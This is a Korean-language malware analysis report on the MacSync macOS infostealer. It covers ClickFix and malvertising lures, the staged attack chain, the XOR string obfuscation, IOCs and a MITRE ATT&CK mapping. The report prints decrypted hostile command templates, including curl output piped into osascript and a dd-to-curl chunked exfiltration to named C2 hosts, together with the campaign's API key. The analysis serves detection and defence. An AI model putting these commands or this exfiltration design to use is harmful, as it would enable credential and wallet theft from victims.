개요
MacSync Stealer는 macOS 정보 탈취 및 원격 접속을 위한 악성 프로그램 제품군으로, 탐지를 회피하도록 설계되었으며 서비스형 악성 프로그램(MaaS) 모델로 상업적으로 판매됩니다.
공격 과정에서 MacSync 바이너리는 네이티브 스테이저이자 여러 단계로 구성된 데이터 유출 엔진 역할을 합니다. 독립적인 데이터 수집기가 아니라, 페이로드는 터미널 세션에서 조용히 분리되어 자격 증명 유출 모듈을 메모리에 직접 로드하고 탈취한 자격 증명을 캠페인 인프라로 안정적으로 유출하는 경량 64비트 Mach-O 실행 파일입니다.
MacSync는 주로 다음을 통해 제공됩니다. 클릭픽스 소셜 엔지니어링 및 검색 엔진 악성 광고입니다. Apple Gatekeeper, XProtect 등을 우회하기 위해 모듈식 다단계 실행 전략을 사용합니다. endpoint detection and response (EDR) 디스크 공간을 최소한으로 유지하면서 도구를 제공합니다.
- 스텔스 세션 데몬화: MacSync는 실행 시 POSIX fork() 및 setsid() 시스템 호출을 사용하여 제어 터미널 세션에서 분리됩니다. 그런 다음 PID 1(launchd)로 부모 연결을 변경하고 stdin, stdout 및 stderr을 /dev/null로 리디렉션하여 오류 메시지와 프로세스 출력이 콘솔에 나타나지 않도록 합니다.
- 템플릿 기반 단일 바이트 XOR 난독화정적 시그니처 및 자동 문자열 추출을 회피하기 위해 MacSync 바이너리는 인라인 C++ 템플릿 클래스(ObfuscatedString)를 사용하여 기능 문자열(C2 엔드포인트, 명령줄 인수, API 헤더 및 임시 파일 경로 포함)을 숨깁니다. 실행 시 바이너리는 단일 바이트 XOR 연산을 사용하여 이러한 문자열을 로컬 스택 버퍼로 복호화합니다.
- 인메모리 동적 AppleScript 파이프라인: 이 스테이저는 자격 증명 유출 스크립트를 디스크에 저장하는 것을 피합니다. 대신, 사용자 지정 헤더(예: api-key: 및 캠페인 토큰)를 사용하여 HTTPS를 통해 C2 서버에 연결하고 응답을 표준 입력(stdin)을 통해 /usr/bin/osascript로 직접 전달합니다. 이를 통해 공격자는 클라이언트 바이너리를 다시 컴파일하지 않고도 서버 측에서 스틸러 페이로드를 업데이트할 수 있습니다.
- 10MB 내결함성 청크 데이터 유출: MacSync는 도난당한 대용량 아카이브(브라우저 볼트, 시스템 키체인, 암호화폐 지갑 데이터베이스 포함)를 전송하기 위해 파일을 10MB 단위로 분할합니다. 각 분할된 파일은 MacSync의 내장 유틸리티인 dd를 사용하여 추출하고, HTTP PUT 요청을 통해 순차적으로 업로드합니다. 이때 지수 백오프 방식을 사용하여 전송 실패 시 재시도합니다.
- 자가 세척 안티포렌식: 스테이저는 디스크의 임시 파일을 즉시 정리합니다. C2 서버가 청크 업로드를 확인하는 HTTP 200 응답을 반환하는 즉시, 악성 프로그램은 로컬 상태 파일(/tmp/.httpcode)과 스테이징된 아카이브(/tmp/osalogging.zip)를 삭제합니다.
위협 행위자의 기원 및 서비스형 악성코드(MaaS) 생태계
MacSync는 2025년에 등장했으며, 공개된 정보에 따르면 이 프로그램은 이전의 Mac.C Stealer 및 "Mentalpositive"라는 개발자 신원과 연관되어 있습니다. Threat intelligence는 MacSync를 서비스형 악성코드(MaaS) 운영으로 추적하며, 다른 사이버 범죄자들에게 악성코드와 지원 인프라를 제공한다고 밝혔습니다.
증거에 따르면 악성코드 개발과 캠페인 운영 사이에는 명확한 분리가 존재합니다. MacSync 빌드에는 배포별 식별자가 포함되는 경우가 많지만, 캠페인은 독립적으로 관리되는 배포 환경과 순환식 백엔드 인프라에 의존합니다. CIS는 제휴 빌드와 연결된 S3 빌드 태그를 식별했으며, 이후 Microsoft는 반복되는 URI 경로, 요청 특성, API 키 헤더 및 데이터 유출 동작을 기반으로 30개 이상의 도메인을 연관시켰습니다.
MacSync 배포는 소프트웨어 취약점 공격보다는 주로 사회공학적 기법에 의존합니다. 악성 광고, SEO 조작, 해킹된 웹사이트, 가짜 소프트웨어 및 AI 설치 프로그램, 그리고 피해자가 터미널에서 명령어를 실행하도록 유도하는 ClickFix 페이지 등을 통해 악성코드가 유포됩니다.
공개된 연구에 따르면 일부 MacSync 샘플에서 러시아어 개발 흔적이 발견되었지만, 이러한 흔적만으로는 악성 소프트웨어를 특정 공격자나 범죄 조직에 귀속시키기에 충분하지 않습니다.
관련 인프라는 도메인 변경과 관계없이 여전히 적용 가능한 특정 동작 패턴을 따릅니다. MacSync 샘플 및 로더에서 나타나는 동작에는 /dynamic?txd=로 전송되는 C2 요청이 포함됩니다. 헤더에 API 키가 설정되어 있고, /gate?buildtxd=를 통해 업로드하기 전에 로컬에서 데이터 수집이 수행됩니다. upload_id, chunk_index, total_chunks 매개변수를 사용합니다.
제휴 캠페인: ClickFix 배송
MacSync는 macOS 사용자를 대상으로 하는 ClickFix 캠페인을 통해 자주 유포됩니다 . 이러한 공격은 소프트웨어 취약점을 악용하는 대신, 소프트웨어 설치 프로그램, CAPTCHA 검사, 다운로드 오류 또는 문제 해결 메시지로 위장하여 피해자가 터미널에서 명령어를 복사하고 실행하도록 유도하는 사회 공학적 기법을 사용합니다.
공개된 보고서에 따르면 MacSync ClickFix 캠페인은 미끼, 전달 방식, 페이로드가 다양하게 변경되는 것으로 나타났지만, 현재까지의 증거는 이러한 캠페인이 모두 동일한 위협 행위자에 속하거나 MacSync 인프라가 ClearFake의 직접적인 지휘 하에 운영된다는 것을 보여주지 않습니다.
클리어페이크/트래픽 배포 네트워크(TDS)
제휴사들은 Keitaro TDS와 같은 트래픽 분산 시스템(TDS)을 해킹된 웹사이트와 광고 네트워크에 배포하여 사용자의 운영 체제에 따라 방문자를 라우팅합니다. TDS는 브라우저의 사용자 에이전트를 확인하여 Windows 방문자를 LummaC2 , Stealc 또는 Vidar를 배포하는 경로로 리디렉션하고, macOS 방문자를 MacSync ClickFix 감염 경로 로 보냅니다.
소셜 엔지니어링 미끼 및 브랜드 사칭
MacSync 캠페인은 인기 있는 생산성, 메시징 및 소프트웨어 개발 도구를 사칭하여 전문가들을 대상으로 합니다.
| 브랜드/테마 사칭 | 기만적인 유인 시나리오 | 대상 인구통계 |
| 구글 미트 / 줌 | "마이크/오디오 오류: macOS 오디오 드라이버를 복구하려면 '수정'을 클릭하십시오." | 원격 근무 기업 직원 및 구직자를 대상으로 한 면접 사기 |
| 클로드 AI / ChatGPT | "macOS용 Claude AI Desktop 다운로드 / WebSockets 연결 문제 해결" | 소프트웨어 엔지니어, AI 연구원, 데이터 과학자 |
| 클라우드플레어 / 턴스타일 | "본인이 사람인지 확인하세요. 터미널을 열고 인증 코드를 붙여넣으세요." | 일반 웹 트래픽, 암호화폐 거래자, 포럼 사용자 |
| Docker / Notion / Cursor | 악성 구글 검색 광고가 가짜 데스크톱 설치 프로그램을 제공합니다. | 소프트웨어 개발자, DevOps 엔지니어, 기술 리더 |
| 트레이딩뷰 / 암호화폐 앱 | "실시간 시장 데이터를 보려면 차트 엔진을 업데이트하세요." | 고액 자산가 암호화폐 거래자, DeFi 투자자 |
글로벌 지리적 원격 측정 및 산업 영향
지리적 원격 측정
Threat intel규제 보고서에 따르면 MacSync 캠페인은 주로 macOS 기업 사용이 광범위한 지역, 기술 및 소프트웨어 개발 분야, 그리고 활발한 암호화폐 또는 Web3 커뮤니티를 대상으로 합니다. 2026년 8월 원격 측정 데이터에 따르면 미국이 가장 많은 탐지 건수를 기록했으며, 그 뒤를 영국, 독일, 일본, 캐나다, 프랑스, 싱가포르, 호주, 인도, 네덜란드 및 북유럽 국가가 이었습니다.

대상 산업 분야
| 산업 분야 | 주요 목표 역할 | 고가치 자산 | 위협 벡터/유인책 | 운영상의 영향 |
| 소프트웨어 엔지니어링 및 기술 스타트업 | 풀스택 개발자, 데브옵스 엔지니어, AI 연구원 | SSH 개인 키, AWS/GCP 토큰, GitHub/GitLab 자격 증명, .env 파일 | Claude AI, Cursor IDE, Docker Desktop, Notion을 사칭하는 악성 광고 | 클라우드 장악, 소스 코드 도용, 공급망 침해 |
| 암호화폐 및 웹3 | 블록체인 개발자, DeFi 트레이더, DAO 회원, 펀드 매니저 | MetaMask, Phantom, Coinbase, TronLink 볼트 데이터; Exodus/Electrum 지갑 파일 | 가짜 Web3 미팅 링크, TradingView 업데이트 미끼 | 지갑 잔액 유출, 무단 토큰 전송, 스마트 계약 키 도난 |
| 기업 원격 근무 인력 | 최고 경영진, 인사, 영업 및 마케팅 | macOS 키체인 데이터, Slack/Discord 토큰, Google Workspace/Okta 세션 | 구글 미트/줌 마이크 또는 카메라 가짜 수정 | 신원 탈취, 세션 쿠키 악용, 내부 네트워크 피벗팅 |
| 정부 및 국방 계약업체 | SLTT 직원 및 계약자 | 정부 포털 자격 증명, VPN 프로필, 직원 자격 증명 | 검색 엔진 악성 광고, 해킹당한 지자체 웹사이트 | 무단 지자체 접근, 민감한 시민 데이터 노출 |
| 핀테크 & 금융 서비스 | 금융 분석가, 퀀트 트레이더, 회계사 | 은행 거래 토큰, 회계 자격 증명, 결제 카드 데이터 | 가짜 송장 보기 프로그램, PDF 렌더링 "수정" 프로그램 | 금융 사기, 무단 기업 송금 |
MacSync 공격 체인

- 초기 감염(ClickFix 팁): 악성 소프트웨어 제작자들은 피해자들이 특정 소프트웨어를 검색하는 검색 엔진에 악성 광고를 게재합니다. 피해자들은 (가짜 웹페이지처럼 보이는) 악성 웹페이지에 접속하게 됩니다. 클로드 아이 챗봇, Apple 보안 업데이트, 암호화폐 지갑 설치 프로그램이는 피해자에게 터미널 창에서 명령(curl -s … | zsh)을 실행하라는 오류 메시지를 표시합니다.
- 1단계 (셸 래퍼 스크립트): 악성 스크립트는 터미널 환경에서 실행되며 즉시 백그라운드 프로세스를 시작합니다.
- 2단계(Base64 페이로드): 래퍼 스크립트는 네이티브 Mach-O 바이너리 스테이저를 실행하는 백그라운드 페이로드(daemon_function)를 압축 해제합니다.우리의 샘플: com.utils.Launcher).
- 3단계(동적 AppleScript 스틸러): 해당 바이너리는 사용자 지정 헤더(api-key: de62a2f4…)를 사용하여 C2 서버의 /dynamic?txd=…에 쿼리를 보내고 이를 osascript로 직접 파이프합니다. AppleScript는 사용자의 시스템 암호를 요청하고, 모든 키체인 데이터를 탈취하며, 데이터베이스, 세션 쿠키, SSH 키, 텔레그램 세션 및 암호화폐 지갑 정보를 덤프합니다. /tmp/osalogging.zip.
- 4단계 (지속성을 보이는 RAT): 해당 페이로드는 ~/Library/LaunchAgents/ 디렉터리를 사용하여 지속적으로 실행되는 또 다른 Mach-O RAT를 실행하며, 이 RAT는 자체 이름을 com.google.keystone.plist 또는 com.apple.sync.plist로 변경합니다.
- 5단계(TCC 헬퍼): 임시 서명된 도우미 프로그램을 사용하여 권한을 요청하고 획득합니다. macOS 화면 녹화.
- 6단계(탈출 및 유물 제거): 이 Mach-O 프로그램은 /tmp/osalogging.zip의 존재를 감지하고, 이를 여러 부분으로 나눕니다. 10 MB dd 명령어를 사용하여 (0xA00000바이트)의 데이터를 HTTP PUT을 통해 /로 전송합니다.게이트?빌드트xd=…그리고 삭제합니다 /tmp/osalogging.zip /tmp/.httpcode.
바이너리 실행 흐름
아래 이미지는 MacSync 스테이저 바이너리의 초기 실행부터 최종 아티팩트 정리까지 전체 런타임 수명 주기를 보여줍니다.

파일 식별 및 정적 메타데이터

정적 파일 속성
| 속성 | 정적 값 | 노트 |
| 사진이름 | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | SHA-256 해시 명명법 |
| 파일 형식 | Mach-O 64비트 x86_64 실행 파일 | 씬 바이너리(단일 아키텍처) |
| 마하-오 매직 | 0xFEEDFACF (MH_MAGIC_64) | 64비트 Mach-O 헤더 |
| CPU 유형/하위 유형 | CPU_TYPE_X86_64 (0x01000007) / ALL (0x00000003) | 인텔 64비트 아키텍처 |
| 파일 크기 | 38,800 바이트 | 0x9790바이트 |
| MD5 | 9678f71ea4cccbc3d511dc8d7f24b113 | 암호화 해시 |
| SHA-1 | 59508d071661ea70fa5fcbe6f9e2fb72506e57df | 암호화 해시 |
| SHA-256 | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | 기본 샘플 해시 |
| 컴파일 플래그 | 파이, 2레벨, 약한 결합, 약한 정의, 명사 | 위치 독립 실행 가능 |
| 진입점 주소 | 0x100000e30 (_main) | 섹션 __텍스트.__텍스트 |
코드 서명 세부 정보

| 속성 | 가치관 | 노트 |
| 서명 상태 | 임시 서명됨(플래그=0x2(임시)) | Apple에서 발급한 개발자 ID 서명이 없습니다. |
| 서명 식별자 | com.utils.런처 | 내장된 코드 서명 식별자 |
| CDHash | d182eb7cba0ffa42d770d7b0d3499e49f24163a2 | 코드 디렉토리 해시 |
| CMSDigest | d182eb7cba0ffa42d770d7b0d3499e49f24163a2662494ae615713c5f04b5260 | 코드 서명 요약 |
| 팀 식별자 | 설정되지 않은 | Apple 개발자 팀 ID가 없습니다. 임시 서명을 의미합니다. |
문자열 난독화 및 키 복구
암호화 엔진의 역공학
실행 파일 자체에 대한 정적 문자열 분석 결과, 암호화되지 않은 URL, 파일 경로 또는 명령 참조는 발견되지 않았습니다. _main에 대한 참조를 분석한 결과, C ++ 템플릿 클래스에 대한 참조가 19개 발견되었습니다.
| 속성 | 가치관 |
| 훼손된 기호 | __ZNK16ObfuscateStringILm…EE7decryptEv |
| 손상된 기호 제거 | 난독화된 문자열 ::decrypt() const |
| 주소 범위 | 0x100002350 – 0x100002740 |

단일 바이트 XOR 키가 식별되었습니다: 0xAA (10진수: 170, 2진수: 10101010).

평문을 미리 알지 못한 상태에서 모든 암호화된 바이트 문자열을 복호화하려면 다음 독립 실행형 스크립트를 실행합니다.

복호화 프로그램 출력

XOR 문자열 복호화 및 저장 레이아웃
하드웨어 XOR 연산(/tmp/.httpcode)
다음 표는 0x100002a2e 주소의 상태 파일 경로에 대해 CPU 레지스터 ecx(xor ecx, 0xaa)에서 실제로 수행되는 연산을 보여줍니다.
| 바이트 # | 암호화된 16진수 | XOR 키 | 복호화된 16진수 | 캐릭터 |
| 0 | 0 X 85 | 0xAA | 0x2F | / |
| 1 | 0xDE | 0xAA | 0 X 74 | t |
| 2 | 0xC7 | 0xAA | 0x6D | m |
| 3 | 0xDA | 0xAA | 0 X 70 | p |
| 4 | 0 X 85 | 0xAA | 0x2F | / |
| 5 | 0 X 84 | 0xAA | 0x2E | . |
| 6 | 0xC2 | 0xAA | 0 X 68 | h |
| 7 | 0xDE | 0xAA | 0 X 74 | t |
| 8 | 0xDE | 0xAA | 0 X 74 | t |
| 9 | 0xDA | 0xAA | 0 X 70 | p |
| 10 | 0xC9 | 0xAA | 0 X 63 | c |
| 11 | 0xC5 | 0xAA | 0x6F | o |
| 12 | 0xCE | 0xAA | 0 X 64 | d |
| 13 | 0xCF | 0xAA | 0 X 65 | e |
| 14 | 0xAA | 0xAA | 0 X 00 | \0 |
경로 /tmp/osalogging.zip은 스택 리터럴과 XOR 복호화를 통해 구성됩니다.
역공학 _메인 – 메모리 레이아웃 및 데몬화
URL 구성/엔드포인트 준비 이 예제는 URL 관련 문자열 조각(예: https, http, asia., usa.)을 로컬 스택 변수에 로드합니다. 그런 다음 128바이트 크기의 로컬 버퍼를 할당하여 해당 문자열을 구성합니다. 지역 도메인 조각과 HTTP(S) 스키마가 존재한다는 것은 네트워크 엔드포인트가 런타임에 구성되거나 선택됨을 의미하며, 이는 정적 분석에서 전체 URL을 파악하는 데 제약을 가합니다.

프로세스 데몬화 및 스트림 은폐(0x100000e30 – 0x100000f54)

- _Fork() 실행(0x100000e69): 부모 프로세스는 0을 반환하여 정상적으로 종료됩니다. 즉시 종료되어 터미널에 제어권을 반환합니다. 이때 자식 프로세스는 PID 1로 실행되는 launchd 프로세스로 부모가 변경됩니다.
- _Setsid() 세션 생성(0x100000eb7): 자식 프로세스가 제어 터미널에서 분리됩니다. 이 단계는 프로세스가 더 이상 어떤 세션에도 종속되지 않도록 합니다.
- 스트림 억제(0x100000efe – 0x100000f48): 자식 프로세스가 입력, 표준 출력 및 표준 오류를 /dev/null로 리디렉션합니다. 이는 _freopen() 함수를 세 번 호출하여 수행됩니다. 각 호출은 스트림 중 하나를 처리하여 모든 출력 또는 입력 활동을 효과적으로 차단합니다.
역공학 _main – 동적 C2 폴링 및 메모리 내 AppleScript
Raw Binary Ninja 고수준 IL 역컴파일 (0x100001070 – 0x100001300)

- 어셈블리 언어에서 0xc8은 십진수 200(HTTP 200 OK)에 해당합니다.
- sub_100001e20()에는 복호화된 명령 템플릿이 있습니다: curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript.
- AppleScript는 중간 스크립트 파일 없이 curl에서 osascript로 직접 스트리밍되며, 표준 입력을 통해 curl에서 Apple의 /usr/bin/osascript 바이너리로 직접 파이프됩니다.
정적 구성 속성:
| 속성 | 가치관 |
| 캠페인 토큰(txd) | c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 |
| 게이트 인증 토큰 | api-key: de62a2f47d1c7dec2997f931a050a615 |
| 기본 호스트 | drivinguber.com |
| 대체 호스트 | newsinweb.com |
| 지역 접두사 | 아시아 / 미국 |
실행 파이프라인 워크플로
- Primary Health Probe(drivinguber.com):

- 상태 평가: _fscanf(“%d”, &code)를 통해 /tmp/.httpcode를 읽고 /tmp/.httpcode의 연결을 해제합니다.
- 메모리 내 파이프 실행(0x10000128e): 코드가 200(0xC8)이면 포맷팅 후 실행됩니다.

- Fallback Rotation: 기본이 실패하면 newsinweb.com을 기준으로 [https, http] [asia., usa.]를 순회합니다.
10MB 청킹 엔진 및 시스템 V ABI

- 대상 검증: _stat$INODE64(“/tmp/osalogging.zip” &stat_buf)를 호출합니다. 파일이 없거나 크기가 0이면 정상적으로 종료됩니다(0 반환).
- 정수 올림 나눗셈 계산:총 청크 수는 (파일 크기에 0x9FFFFF를 더한 값을 0xA00000으로 나눈 값)의 내림값과 같습니다. (고정 청크 크기는 0xA00000이며, 이는 10,485,760바이트 또는 10MB에 해당합니다.)
- 세션 식별자: snprintf(upload_id, 0x40 “%ld-%08x” time(NULL) rand())를 사용하여 생성되었습니다.
적응형 백오프 재시도 알고리즘

적응형 백오프를 사용하여 최대 8회 재시도: 지연 시간 = (재시도 횟수 × 2) + 3초 (5초, 7초, 9초, 11초, 13초, 15초, 17초, 19초)
_system()을 통해 실행되는 셸 명령
| # | 조작 | 복호화된 형식 템플릿 | 목적 |
| 1 | C2 건강 프로브 | curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” -o /dev/null -w “%%{http_code}” > %s 2>/dev/null | C2 가용성을 확인하고 HTTP 상태 코드를 /tmp/.httpcode에 저장합니다. |
| 2 | 3단계 인메모리 스테이저 | curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript | 원격 AppleScript 스틸러를 다운로드하고 osascript를 통해 실행합니다. |
| 3 | 6단계 덩어리별 유출 | dd if=%s bs=1 skip=%ld count=%ld 2>/dev/null | curl -k -s -X PUT –data-binary @- … | /tmp/osalogging.zip 파일을 10MB 단위로 분할하여 각 단위를 HTTP PUT을 통해 업로드합니다. |
네이티브 POSIX 프로세스 및 파일 작업
| # | 작업 유형 | 네이티브 API 호출 | 목표 | 운영 목적 |
| 6 | 프로세스 포크 | _포크() | N/A | 부모 프로세스는 터미널에서 분리되기 위해 즉시 종료됩니다. |
| 7 | 세션 분리 | _setsid() | N/A | 새로운 분리형 세션을 생성합니다. 자식 프로세스는 독립적인 데몬이 됩니다. |
| 8 | 스트림 클로킹 | _freopen(“/dev/null”, “r”, *___stdinp) | / dev / null | 표준 입력을 차단합니다. |
| 9 | 스트림 클로킹 | _freopen(“/dev/null”, “w”, *___stdoutp) | / dev / null | curl 및 osascript의 표준 출력을 비활성화합니다. |
| 10 | 스트림 클로킹 | _freopen(“/dev/null”, “w”, *___stderrp) | / dev / null | 터미널 경고를 방지하기 위해 표준 오류를 억제합니다. |
| 11 | 파일 검증 | _stat$INODE64(“/tmp/osalogging.zip”, &stat_buf) | /tmp/osalogging.zip | 업로드하기 전에 수집된 데이터 아카이브의 존재 여부와 크기를 확인합니다. |
| 12 | 상태 정리 | _unlink(“/tmp/.httpcode”) | /tmp/.httpcode | 평가 후 임시 HTTP 상태 코드 파일을 삭제합니다. |
| 13 | 전리품 보관함 정리 | _remove(“/tmp/osalogging.zip”) | /tmp/osalogging.zip | 데이터 유출 성공 후 탈취된 데이터의 ZIP 압축 파일을 삭제합니다. |
침해 지표(IOC)
호스트 표시기
| 표시기 유형 | 가치관 | 기술설명 |
| SHA-256 해시 | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | 네이티브 Mach-O 스테이저 바이너리 |
| MD5 해시 | 9678f71ea4cccbc3d511dc8d7f24b113 | 네이티브 Mach-O 스테이저 바이너리 |
| SHA-1 해시 | 59508d071661ea70fa5fcbe6f9e2fb72506e57df | 네이티브 Mach-O 스테이저 바이너리 |
| 코드 서명 ID | com.utils.런처 | 임시 서명 번들 식별자 |
| CDHash | d182eb7cba0ffa42d770d7b0d3499e49f24163a2 | 코드 디렉토리 해시 |
| 연출된 아카이브 | /tmp/osalogging.zip | 도난당한 데이터가 포함된 하베스트 아카이브 |
| 상태 파일 | /tmp/.httpcode | 임시 HTTP 응답 코드 파일 |
네트워크 표시기
| 표시기 유형 | 가치관 | 기술설명 |
| C2 도메인(기본) | drivinguber.com | 기본 3단계/6단계 C2 서버 |
| C2 도메인(폴백) | 아시아뉴스인웹닷컴 | 대체 아시아 지역 C2 엔드포인트 |
| C2 도메인(폴백) | usa.newsinweb.com | 미국 지역 C2 엔드포인트 대체 |
| C2 루트 도메인 | newsinweb.com | 대체 루트 도메인 |
| URI(다운로드) | /dynamic?txd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 | 동적 AppleScript 페이로드 게이트 |
| URI(업로드) | /gate?buildtxd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 | 10MB 청크 바이너리 PUT 업로드 게이트 |
| HTTP 요청 헤더 | api-key: de62a2f47d1c7dec2997f931a050a615 | 캠페인 인증 토큰 |
| HTTP 사용자 에이전트 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36 | 클라이언트 사용자 에이전트를 위조했습니다. |
MITRE ATT&CK 매핑
| 술책 | 기술 ID | 기술 | MacSync 구현 |
| 초기 액세스 | T1204.002 | 사용자 실행 | ClickFix 미끼는 사용자가 난독화된 터미널 명령어를 실행하도록 유도합니다. |
| 실행 | T1059.002 | AppleScript | /usr/bin/osascript를 통해 원격 AppleScript 페이로드를 실행합니다. |
| 실행 | T1059.004 | 유닉스 쉘 | /bin/sh 명령어를 실행합니다. |
| 고집 | T1543.001 | 런치 에이전트 | ~/Library/LaunchAgents/에 악성 .plist 파일을 설치합니다. |
| 방어 회피 | T1027 | 난처 | XOR 0xAA는 문자열과 URL을 숨깁니다. |
| 방어 회피 | T1564.001 | 숨김 파일 | 임시 데이터에는 점으로 시작하는 파일을 사용합니다. |
| 방어 회피 | T1070.004 | 파일 삭제 | 데이터 업로드 후 임시 파일을 삭제합니다. |
| 방어 회피 | T1036.005 | 위장 | com.utils.Launcher를 사용하여 정식 구성 요소처럼 보이게 합니다. |
| 방어 회피 | T1562.001 | 방어력 약화 | stdin, stdout 및 stderr을 /dev/null로 리디렉션합니다. |
| 자격 증명 액세스 | T1555.001 | 키 체인 | 보안 덤프 키체인을 사용하여 저장된 자격 증명에 접근합니다. |
| 자격 증명 액세스 | T1539 | 웹 세션 쿠키 | 브라우저 쿠키 데이터베이스를 대상으로 세션 정보를 탈취합니다. |
| 자격 증명 액세스 | T1552.004 | 개인 키 | SSH 키와 AWS 자격 증명을 수집합니다. |
| 발견 | T1082 | 시스템 정보 | macOS 버전, 하드웨어 UUID 및 CPU 아키텍처를 수집합니다. |
| 수집 | T1560.001 | 수집된 데이터 아카이브 | 도난당한 데이터를 /tmp/osalogging.zip에 압축합니다. |
| 명령 및 제어 | T1071.001 | 웹 프로토콜 | HTTPS/443을 통해 C2 서버와 통신합니다. |
| 명령 및 제어 | T1105 | 인그레스 도구 전송 | 2단계 AppleScript 모듈을 다운로드합니다. |
| 여과 | T1030 | 데이터 전송 크기 제한 | 아카이브를 10MB 단위로 분할합니다. |
| 여과 | T1048.003 | 대체 프로토콜 | HTTP PUT 요청을 통해 바이너리 청크를 업로드합니다. |
저자:



